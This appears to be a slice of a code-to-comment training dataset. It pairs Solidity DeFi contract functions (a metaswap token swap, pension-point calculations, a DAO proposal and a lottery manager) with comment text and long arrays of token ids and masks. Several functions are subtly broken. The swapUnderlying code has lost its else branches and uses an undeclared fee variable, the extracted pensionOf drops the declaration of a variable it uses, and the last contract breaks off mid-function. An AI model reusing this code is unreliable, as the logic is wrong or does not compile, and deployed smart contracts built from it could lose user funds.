function swapUnderlying( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy ) external returns (uint256) { SwapUnderlyingInfo memory v = SwapUnderlyingInfo( 0, 0, 0, self.tokenPrecisionMultipliers, self.balances, metaSwapStorage.baseTokens, IERC20(address(0)), 0, IERC20(address(0)), 0, _updateBaseVirtualPrice(metaSwapStorage) ); uint8 baseLPTokenIndex = uint8(v.oldBalances.length.sub(1)); { uint8 maxRange = uint8(baseLPTokenIndex + v.baseTokens.length); require( tokenIndexFrom < maxRange && tokenIndexTo < maxRange, "Token index out of range" ); } ISwap baseSwap = metaSwapStorage.baseSwap; if (tokenIndexFrom < baseLPTokenIndex) { v.tokenFrom = self.pooledTokens[tokenIndexFrom]; v.metaIndexFrom = tokenIndexFrom; v.tokenFrom = v.baseTokens[tokenIndexFrom - baseLPTokenIndex]; v.metaIndexFrom = baseLPTokenIndex; } if (tokenIndexTo < baseLPTokenIndex) { v.tokenTo = self.pooledTokens[tokenIndexTo]; v.metaIndexTo = tokenIndexTo; v.tokenTo = v.baseTokens[tokenIndexTo - baseLPTokenIndex]; v.metaIndexTo = baseLPTokenIndex; } v.tokenFrom.safeTransferFrom(msg.sender, address(this), dx); if ( tokenIndexFrom < baseLPTokenIndex || tokenIndexTo < baseLPTokenIndex ) { uint256[] memory xp = _xp( v.oldBalances, v.tokenPrecisionMultipliers, v.baseVirtualPrice ); if (tokenIndexFrom < baseLPTokenIndex) { v.x = xp[tokenIndexFrom].add( dx.mul(v.tokenPrecisionMultipliers[tokenIndexFrom]) ); uint256[] memory baseAmounts = new uint256[]( v.baseTokens.length ); baseAmounts[tokenIndexFrom - baseLPTokenIndex] = v.dx; v.dx = baseSwap.addLiquidity(baseAmounts, 0, block.timestamp); v.x = v .dx .mul(v.baseVirtualPrice) .div(BASE_VIRTUAL_PRICE_PRECISION) .add(xp[baseLPTokenIndex]); } { uint256 y = SwapUtils.getY( self._getAPrecise(), v.metaIndexFrom, v.metaIndexTo, v.x, xp ); v.dy = xp[v.metaIndexTo].sub(y).sub(1); dyFee = v.dy.mul(self.swapFee).div(FEE_DENOMINATOR); v.dy = v.dy.sub(dyFee).div( v.tokenPrecisionMultipliers[v.metaIndexTo] ); } if (tokenIndexTo >= baseLPTokenIndex) { v.dy = v.dy.mul(BASE_VIRTUAL_PRICE_PRECISION).div( v.baseVirtualPrice ); } { uint256 dyAdminFee = dyFee.mul(self.adminFee).div( FEE_DENOMINATOR ); dyAdminFee = dyAdminFee.div( v.tokenPrecisionMultipliers[v.metaIndexTo] ); self.balances[v.metaIndexFrom] = v .oldBalances[v.metaIndexFrom] .add(v.dx); self.balances[v.metaIndexTo] = v .oldBalances[v.metaIndexTo] .sub(v.dy) .sub(dyAdminFee); } if (tokenIndexTo >= baseLPTokenIndex) { uint256 oldBalance = v.tokenTo.balanceOf(address(this)); baseSwap.removeLiquidityOneToken( v.dy, tokenIndexTo - baseLPTokenIndex, 0, block.timestamp ); v.dy = v.tokenTo.balanceOf(address(this)) - oldBalance; } baseSwap.swap( tokenIndexFrom - baseLPTokenIndex, tokenIndexTo - baseLPTokenIndex, v.dx, minDy, block.timestamp ); v.dy = v.tokenTo.balanceOf(address(this)).sub(v.dy); } emit TokenSwapUnderlying( msg.sender, dx, v.dy, tokenIndexFrom, tokenIndexTo ); return v.dy; }
949,724
[ 1, 6050, 6679, 598, 326, 6808, 2430, 434, 326, 1026, 12738, 2845, 18, 2457, 333, 445, 16, 326, 1147, 4295, 854, 14171, 596, 1427, 716, 6808, 2430, 854, 10584, 316, 326, 4295, 18, 225, 7897, 333, 4097, 3229, 3903, 4186, 4982, 326, 4588, 16, 518, 353, 14553, 358, 17151, 1281, 445, 716, 10935, 603, 333, 598, 283, 8230, 12514, 11026, 87, 18, 225, 365, 12738, 1958, 358, 855, 628, 471, 1045, 358, 225, 2191, 12521, 3245, 6565, 12521, 1958, 358, 855, 628, 471, 1045, 358, 225, 1147, 1016, 1265, 326, 1147, 326, 729, 14805, 358, 357, 80, 225, 1147, 1016, 774, 326, 1147, 326, 729, 14805, 358, 30143, 225, 6633, 326, 3844, 434, 2430, 326, 729, 14805, 358, 357, 80, 225, 1131, 40, 93, 326, 1131, 3844, 326, 729, 4102, 3007, 358, 6798, 16, 578, 15226, 18, 327, 3844, 434, 1147, 729, 5079, 603, 7720, 19, 4163, 326, 1758, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 7720, 14655, 6291, 12, 203, 3639, 12738, 1989, 18, 12521, 2502, 365, 16, 203, 3639, 6565, 12521, 2502, 2191, 12521, 3245, 16, 203, 3639, 2254, 28, 1147, 1016, 1265, 16, 203, 3639, 2254, 28, 1147, 1016, 774, 16, 203, 3639, 2254, 5034, 6633, 16, 203, 3639, 2254, 5034, 1131, 40, 93, 203, 565, 262, 3903, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 12738, 14655, 6291, 966, 3778, 331, 273, 12738, 14655, 6291, 966, 12, 203, 5411, 374, 16, 203, 5411, 374, 16, 203, 5411, 374, 16, 203, 5411, 365, 18, 2316, 15410, 5002, 8127, 414, 16, 203, 5411, 365, 18, 70, 26488, 16, 203, 5411, 2191, 12521, 3245, 18, 1969, 5157, 16, 203, 5411, 467, 654, 39, 3462, 12, 2867, 12, 20, 13, 3631, 203, 5411, 374, 16, 203, 5411, 467, 654, 39, 3462, 12, 2867, 12, 20, 13, 3631, 203, 5411, 374, 16, 203, 5411, 389, 2725, 2171, 6466, 5147, 12, 3901, 12521, 3245, 13, 203, 3639, 11272, 203, 203, 3639, 2254, 28, 1026, 14461, 1345, 1016, 273, 2254, 28, 12, 90, 18, 1673, 38, 26488, 18, 2469, 18, 1717, 12, 21, 10019, 203, 203, 3639, 288, 203, 5411, 2254, 28, 943, 2655, 273, 2254, 28, 12, 1969, 14461, 1345, 1016, 397, 331, 18, 1969, 5157, 18, 2469, 1769, 203, 5411, 2583, 12, 203, 7734, 1147, 1016, 1265, 411, 943, 2655, 597, 1147, 1016, 774, 411, 943, 2655, 16, 203, 7734, 315, 1345, 770, 596, 434, 1048, 6, 203, 5411, 11272, 203, 3639, 289, 203, 203, 3639, 4437, 91, 438, 2 ]
pragma solidity ^0.4.23; import 'openzeppelin-solidity/contracts/ownership/Ownable.sol'; import "./PensionRegistry.sol"; import "./PensionPoints.sol"; import "./PensionSettings.sol"; import "./PensionUsers.sol"; contract Pension is Ownable { PensionRegistry registry; constructor(address _pensionRegistryAddr) public { registry = PensionRegistry(_pensionRegistryAddr); } function pensionOf(address _user, uint16 year) public view returns (uint256 amount) { PensionUsers users = PensionUsers(registry.getContract(PensionLib.ContractType.PensionUsers)); PensionPoints points = PensionPoints(registry.getContract(PensionLib.ContractType.PensionPoints)); PensionSettings settings = PensionSettings(registry.getContract(PensionLib.ContractType.PensionSettings)); uint256 ep = points.pointsOf(_user); //40000 uint256 zf = 100; uint256 raf = settings.getPensionFactor(users.getUserPensionType(_user)); uint256 arw = settings.getPensionAmount(year); // EP * ZF * RAF * aRW //40 * 1 * 1 * 20 //40000 * 100 * 100 * 20*10**18 return ep * zf * raf * arw / 10**7; } function expectedPensionOf(address _user) public view returns (uint256 amount) { PensionUsers users = PensionUsers(registry.getContract(PensionLib.ContractType.PensionUsers)); PensionSettings settings = PensionSettings(registry.getContract(PensionLib.ContractType.PensionSettings)); uint256 ep = 4000; //4000 uint256 zf = 100; PensionLib.PensionType pt = users.getUserPensionType(_user); uint256 raf = settings.getPensionFactor(pt); uint256 arw = settings.getPensionAmount(2040); // EP * ZF * RAF * aRW //40 * 1 * 1 * 20 //4000 * 100 * 100 * 2000 return ep * zf * raf * arw * 10**10; } function calculatePension(uint16 _accessYear, uint16 _actualYear, uint256 _actualPensionPoints, uint256 _yearlyIncome, uint256 _accessFactor, uint256 _pensionTypeFactor) public view returns (uint256 amount) { PensionSettings settings = PensionSettings(registry.getContract(PensionLib.ContractType.PensionSettings)); uint256 _pensionPointValue = settings.getPensionAmount(_accessYear); uint256 _yearlyPensionPoints = calculatePensionPoints(_actualYear, _yearlyIncome); //TODO: calculate for every year until retirement uint256 _calculatedPensionPoints = ((_accessYear - _actualYear) * _yearlyPensionPoints) + _actualPensionPoints; return _calculatedPensionPoints * _accessFactor * _pensionTypeFactor * _pensionPointValue; //TODO: AccessFactor has to be calculated within smart contract (accessAge - actualAge) } function calculatePensionPoints(uint16 _year, uint256 _yearlyIncome) public view returns (uint256 amount) { PensionSettings settings = PensionSettings(registry.getContract(PensionLib.ContractType.PensionSettings)); uint256 _averageIncome = settings.getAverageIncomeByYear(_year); uint256 _maxPensionPoints = settings.getMaxPensionPointsByYear(_year); uint256 _yearlyPensionPoints = _yearlyIncome*(10**3) / _averageIncome; if (_yearlyPensionPoints > _maxPensionPoints) { _yearlyPensionPoints = _maxPensionPoints; } return _yearlyPensionPoints; } }
EP * ZF * RAF * aRW40 * 1 * 1 * 2040000 * 100 * 100 * 20*10**18
function pensionOf(address _user, uint16 year) public view returns (uint256 amount) { PensionUsers users = PensionUsers(registry.getContract(PensionLib.ContractType.PensionUsers)); PensionPoints points = PensionPoints(registry.getContract(PensionLib.ContractType.PensionPoints)); PensionSettings settings = PensionSettings(registry.getContract(PensionLib.ContractType.PensionSettings)); uint256 zf = 100; uint256 raf = settings.getPensionFactor(users.getUserPensionType(_user)); uint256 arw = settings.getPensionAmount(year); return ep * zf * raf * arw / 10**7; }
13,137,250
[ 1, 10541, 225, 2285, 42, 225, 534, 6799, 225, 279, 18810, 7132, 225, 404, 225, 404, 225, 11492, 2787, 225, 2130, 225, 2130, 225, 3786, 1611, 28, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 293, 1451, 951, 12, 2867, 389, 1355, 16, 2254, 2313, 3286, 13, 1071, 1476, 1135, 261, 11890, 5034, 3844, 13, 288, 203, 565, 453, 1451, 6588, 3677, 273, 453, 1451, 6588, 12, 9893, 18, 588, 8924, 12, 52, 1451, 5664, 18, 8924, 559, 18, 52, 1451, 6588, 10019, 203, 565, 453, 1451, 5636, 3143, 273, 453, 1451, 5636, 12, 9893, 18, 588, 8924, 12, 52, 1451, 5664, 18, 8924, 559, 18, 52, 1451, 5636, 10019, 203, 565, 453, 1451, 2628, 1947, 273, 453, 1451, 2628, 12, 9893, 18, 588, 8924, 12, 52, 1451, 5664, 18, 8924, 559, 18, 52, 1451, 2628, 10019, 203, 203, 565, 2254, 5034, 22758, 273, 2130, 31, 203, 565, 2254, 5034, 24671, 273, 1947, 18, 588, 52, 1451, 6837, 12, 5577, 18, 588, 1299, 52, 1451, 559, 24899, 1355, 10019, 203, 565, 2254, 5034, 419, 91, 273, 1947, 18, 588, 52, 1451, 6275, 12, 6874, 1769, 203, 203, 203, 565, 327, 5529, 380, 22758, 380, 24671, 380, 419, 91, 342, 1728, 636, 27, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xBdbcDFbca3b6Eb90F251b41806A40569c6eB18cd/sources/contracts/TwapDelay.sol
require(_delay != orders.delay, 'TD01'); Comment out to save size
function setDelay(uint32 _delay) external payable override { require(msg.sender == owner, 'TD00'); orders.delay = _delay; emit DelaySet(_delay); }
2,747,167
[ 1, 6528, 24899, 10790, 480, 11077, 18, 10790, 16, 296, 23409, 1611, 8284, 225, 9821, 596, 358, 1923, 963, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 6763, 12, 11890, 1578, 389, 10790, 13, 3903, 8843, 429, 3849, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 3410, 16, 296, 23409, 713, 8284, 203, 3639, 11077, 18, 10790, 273, 389, 10790, 31, 203, 3639, 3626, 20165, 694, 24899, 10790, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.23; import "zeppelin-solidity/contracts/ownership/Ownable.sol"; import "../IDaoBase.sol"; import "../governance/IVoting.sol"; /** * @title GenericProposal * @dev This is the implementation of IProposal interface. Each Proposal should have voting attached. * This is an auto proposal that is used by GenericCaller to call actions on a _target * Used by GenericCaller, DaoBaseAuto, MoneyflowAuto, etc */ contract GenericProposal is IProposal, Ownable { IVoting voting; address target; string methodSig; bytes32[] params; constructor(address _target, address _origin, string _methodSig, bytes32[] _params) public { target = _target; params = _params; methodSig = _methodSig; if(_origin==0x0) { revert(); } } event GenericProposalAction(IVoting _voting, address _target, string _methodSig, bytes32[] _params); // IVoting implementation /** * @dev action which will be called if voting finished with yes */ function action() public { emit GenericProposalAction( voting, target, methodSig, params ); // in some cases voting is still not set if(0x0!=address(voting)) { require(msg.sender==address(voting)); } // cool! voting is over and the majority said YES -> so let's go! // as long as we call this method from WITHIN the vote contract // isCanDoAction() should return yes if voting finished with Yes result if(!address(target).call( bytes4(keccak256(methodSig)), uint256(32), // pointer to the length of the array uint256(params.length), // length of the array params) ){ revert(); } } /** * @notice This function should be called only by owner * @param _voting voting instance (address) * @dev this function sets voting to proposal */ function setVoting(IVoting _voting) public onlyOwner { voting = _voting; } /** * @return voting address */ function getVoting() public view returns(IVoting) { return voting; } /** * @return signature of method which will be called after voting finished */ function getMethodSig() public view returns(string) { return methodSig; } /** * @return params for method which will be called after voting finished */ function getParams() public view returns(bytes32[]) { return params; } }
* @return params for method which will be called after voting finished/
function getParams() public view returns(bytes32[]) { return params; }
2,498,841
[ 1, 2463, 859, 364, 707, 1492, 903, 506, 2566, 1839, 331, 17128, 6708, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 13281, 1435, 1071, 1476, 1135, 12, 3890, 1578, 63, 5717, 288, 203, 202, 202, 2463, 859, 31, 203, 202, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../interfaces/IPinataPrizePool.sol"; import "../interfaces/IPinataStrategy.sol"; import "../interfaces/IPinataVault.sol"; /** * @dev Implementation of a manager for each pool of Pinata Finance protocol. * This is the contract that using to managing state, permission. * and also managing contract in which is part of each pool. */ contract PinataManager { using SafeMath for uint256; enum LOTTERY_STATE { OPEN, CLOSED, CALCULATING_WINNER, WINNERS_PENDING, READY } /* ========================== Variables ========================== */ address public manager; // The current manager. address public pendingManager; // The address pending to become the manager once accepted. address public timeKeeper; // keeper of pool state. uint256 public openTime; uint256 public closingTime; uint256 public drawingTime; bool public allowCloseAnytime; bool public allowDrawAnytime; LOTTERY_STATE public lotteryState; // Contracts address public vault; address public strategy; address public prizePool; address public randomNumberGenerator; // Fee Receiver address public strategist; // Address of the strategy author/deployer where strategist fee will go. address public pinataFeeRecipient; // Address where to send pinata's fees (fund of platform). /* ========================== Events ========================== */ /** * @dev Emitted when Pool is open ready to deposit. */ event PoolOpen(); /** * @dev Emitted when Pool is closed deposit will not be allowed. */ event PoolClosed(); /** * @dev Emitted when Pool is calculating for lucky winners. */ event PoolCalculatingWinners(); /** * @dev Emitted when Pool is getting numbers from Chainlink and waiting for reward distribution. */ event PoolWinnersPending(); /** * @dev Emitted when Pool is ready to be open. */ event PoolReady(); /** * @dev Emitted when address of vault is setted. */ event VaultSetted(address vault); /** * @dev Emitted when address of strategy is setted. */ event StrategySetted(address strategy); /** * @dev Emitted when address of prize pool is setted. */ event PrizePoolSetted(address prizePool); /** * @dev Emitted when address of random number generator is setted. */ event RandomNumberGeneratorSetted(address randomNumberGenerator); /** * @dev Emitted when address of strategist (dev) is setted. */ event StrategistSetted(address strategist); /** * @dev Emitted when address of pinataFeeRecipient (treasury) is setted. */ event PinataFeeRecipientSetted(address pinataFeeRecipient); /** * @dev Emitted when manager is setted. */ event ManagerSetted(address manager); /** * @dev Emitted when pending manager is setted. */ event PendingManagerSetted(address pendingManager); /** * @dev Emitted when time keeper is setted. */ event TimeKeeperSetted(address timeKeeper); /** * @dev Emitted when changing allowCloseAnytime or allowDrawAnytime. */ event PoolTimerSetted(bool allowCloseAnytime, bool allowDrawAnytime); /** /* ========================== Modifier ========================== */ /** * @dev Modifier to make a function callable only when called by time keeper. * * Requirements: * * - The caller have to be setted as time keeper. */ modifier onlyTimeKeeper() { require( msg.sender == timeKeeper, "PinataManager: Only Timekeeper allowed!" ); _; } /** * @dev Modifier to make a function callable only when called by manager. * * Requirements: * * - The caller have to be setted as manager. */ modifier onlyManager() { require(msg.sender == manager, "PinataManager: Only Manager allowed!"); _; } /* ========================== Functions ========================== */ /** * @dev Setting up contract's state, permission is setted to deployer as default. * @param _allowCloseAnytime boolean in which is pool allowed to be closed any time. * @param _allowDrawAnytime boolean in which is pool allowed to be able to draw rewards any time. */ constructor(bool _allowCloseAnytime, bool _allowDrawAnytime) public { allowCloseAnytime = _allowCloseAnytime; allowDrawAnytime = _allowDrawAnytime; lotteryState = LOTTERY_STATE.READY; manager = msg.sender; pendingManager = address(0); vault = address(0); timeKeeper = msg.sender; } /** * @dev Start new lottery round set lottery state to open. only allow when lottery is in ready state. * only allow by address setted as time keeper. * @param _closingTime timestamp of desired closing time. * @param _drawingTime timestamp of desired drawing time. */ function startNewLottery(uint256 _closingTime, uint256 _drawingTime) public onlyTimeKeeper { require( lotteryState == LOTTERY_STATE.READY, "PinataManager: can't start a new lottery yet!" ); drawingTime = _drawingTime; openTime = block.timestamp; closingTime = _closingTime; lotteryState = LOTTERY_STATE.OPEN; emit PoolOpen(); } /** * @dev Closing ongoing lottery set status of pool to closed. * only allow by address setted as time keeper. */ function closePool() public onlyTimeKeeper { if (!allowCloseAnytime) { require( block.timestamp >= closingTime, "PinataManager: cannot be closed before closing time!" ); } lotteryState = LOTTERY_STATE.CLOSED; emit PoolClosed(); } /** * @dev Picking winners for this round calling harvest on strategy to ensure reward is updated. * calling drawing number on prize pool to calculating for lucky winners. * only allow by address setted as time keeper. */ function calculateWinners() public onlyTimeKeeper { if (!allowDrawAnytime) { require( block.timestamp >= drawingTime, "PinataManager: cannot be calculate winners before drawing time!" ); } IPinataStrategy(strategy).harvest(); IPinataPrizePool(prizePool).drawNumber(); lotteryState = LOTTERY_STATE.CALCULATING_WINNER; emit PoolCalculatingWinners(); } /** * @dev Called when winners is calculated only allow to be called from prize pool. * setting the lottery state winners pending since reward need to be distributed. * @dev process have to be seperated since Chainlink VRF only allow 200k for gas limit. */ function winnersCalculated() external { require( msg.sender == prizePool, "PinataManager: Caller need to be PrizePool" ); lotteryState = LOTTERY_STATE.WINNERS_PENDING; emit PoolWinnersPending(); } /** * @dev Called when winners is calculated only allow to be called from prize pool. * setting the lottery state to ready for next round. */ function rewardDistributed() external { require( msg.sender == prizePool, "PinataManager: Caller need to be PrizePool" ); lotteryState = LOTTERY_STATE.READY; emit PoolReady(); } /* ========================== Getter Functions ========================== */ /** * @dev getting current state of the pool. */ function getState() public view returns (LOTTERY_STATE) { return lotteryState; } /** * @dev getting timeline of current round setted when new lottery started. */ function getTimeline() external view returns ( uint256, uint256, uint256 ) { return (openTime, closingTime, drawingTime); } /** * @dev get address of vault setted. */ function getVault() external view returns (address) { return vault; } /** * @dev get address of strategy setted. */ function getStrategy() external view returns (address) { return strategy; } /** * @dev get address of prize pool setted. */ function getPrizePool() external view returns (address) { return prizePool; } /** * @dev get address of random number generator setted. */ function getRandomNumberGenerator() external view returns (address) { return randomNumberGenerator; } /** * @dev get address of strategist (dev) setted. */ function getStrategist() external view returns (address) { return strategist; } /** * @dev get address of pinata fee recipient (treasury) setted. */ function getPinataFeeRecipient() external view returns (address) { return pinataFeeRecipient; } /** * @dev get manager status of address provided. * @param _manager is address want to know status of. */ function getIsManager(address _manager) external view returns (bool) { return _manager == manager; } /** * @dev get timekeeper status of address provided. * @param _timeKeeper is address want to know status of. */ function getIsTimekeeper(address _timeKeeper) external view returns (bool) { return _timeKeeper == timeKeeper; } /* ========================== Admin Setter Functions ========================== */ /** * @dev setting address of vault. * @param _vault is address of vault. */ function setVault(address _vault) external onlyManager { require(vault == address(0), "PinataManager: Vault already set!"); vault = _vault; emit VaultSetted(vault); } /** * @dev setting address of strategy. perform retireStrat operation to withdraw the fund from * old strategy to new strategy. * @param _strategy is address of strategy. */ function setStrategy(address _strategy) external onlyManager { if (strategy != address(0)) { IPinataStrategy(strategy).retireStrat(); } strategy = _strategy; IPinataVault(vault).earn(); emit StrategySetted(strategy); } /** * @dev setting address of prize pool. perform retirePrizePool operation to withdraw the fund from * old prizePool to vault. but the allocated reward is remain in the old prize pool. * participant will have to withdraw and deposit again to participate in new prize pool. * @param _prizePool is address of new prize pool. */ function setPrizePool(address _prizePool) external onlyManager { require( lotteryState == LOTTERY_STATE.READY, "PinataManager: only allow to set prize pool in ready state!" ); if (prizePool != address(0)) { IPinataPrizePool(prizePool).retirePrizePool(); } prizePool = _prizePool; emit PrizePoolSetted(prizePool); } /** * @dev setting address of random number generator. * @param _randomNumberGenerator is address of random number generator. */ function setRandomNumberGenerator(address _randomNumberGenerator) external onlyManager { 